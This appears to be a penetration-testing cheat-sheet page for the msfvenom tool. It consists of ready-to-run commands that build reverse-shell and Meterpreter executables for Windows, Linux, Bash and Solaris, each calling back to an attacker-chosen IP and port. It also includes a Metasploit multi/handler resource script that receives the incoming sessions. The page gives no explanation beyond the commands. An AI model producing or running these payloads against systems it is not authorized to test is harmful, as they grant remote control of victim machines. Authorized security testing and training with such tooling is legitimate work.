> For the complete documentation index, see [llms.txt](https://infra.newerasec.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://infra.newerasec.com/infrastructure-testing/tools/metasploit/msfvenom.md).

# msfvenom

**Example:**&#x20;

`msfvenom -p windows/meterpreter/reverse_tcp LHOST={IP} LPORT={Port} -f exe -o shell.exe`&#x20;

**Handler**:&#x20;

```
Use exploit/multi/handler  
set PAYLOAD windows/meterpreter/reverse_tcp 
set LHOST  
set LPORT  
set ExitOnSession false  
exploit -j -z 
```

\*copy into a file with .rc extenation and run as:&#x20;

`msfconsole -r example.rc`&#x20;

&#x20;\
**Common payloads:**&#x20;

**Linux**:&#x20;

`msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf`&#x20;

**Windows**:&#x20;

`msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe`&#x20;

**Bash**:&#x20;

`msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh`&#x20;

**Solaris**:&#x20;

`msfvenom -p solaris/x86/shell_reverse_tcp lhost=10.10.14.6 lport=5555 -f elf > /root/Desktop/raj.elf`&#x20;
